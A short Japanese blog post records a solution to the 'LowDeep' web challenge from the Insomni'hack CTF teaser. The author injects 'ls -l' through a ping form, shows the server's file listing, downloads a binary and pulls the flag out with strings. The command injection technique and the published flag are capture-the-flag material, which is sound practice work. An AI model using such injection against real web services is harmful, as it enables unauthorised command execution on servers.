URL: https://teaser.insomnihack.ch/challenges/

10問中1問解きました。ほとんどの人が解いた簡単なやつだけです。

ブログ書くか悩みましたが、とりあえず、参加した記録として残しておきます。



[Web]: LowDeep


Challenge

Try out our new ping platform: lowdeep.insomnihack.ch/


Solution

見るからにCommand Injectionなんです。

insomniCTF_LowDeep.png
以下、"ls -l"の結果です。
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.019 ms

— 127.0.0.1 ping statistics — 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.019/0.019/0.019/0.000 ms total 28 drwxr-xr-x 3 root root 4096 Jan 17 09:57 . drwxr-xr-x 3 root root 4096 Jan 7 16:52 .. drwxr-xr-x 4 root root 4096 Jan 17 09:57 res -rw-r–r– 1 root root 1367 Jan 16 15:30 index.php -rw-r–r– 1 root root 6128 Jan 16 13:10 print-flag -rw-r–r– 1 root root 42 Jan 16 15:35 robots.txt


print-flag には実行権が付いていないので、サーバ上では実行できません。なので、ダウンロードしてきます。
$ file print-flag
print-flag: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=72c589834f878a6a3267944f305c29166a1ace8b, stripped

ChmodしてLinux上で実行してもフラグは取れますが、それ以前にstringsで取れます。
$ strings print-flag | grep -i ins
INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}

Flag: `INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}`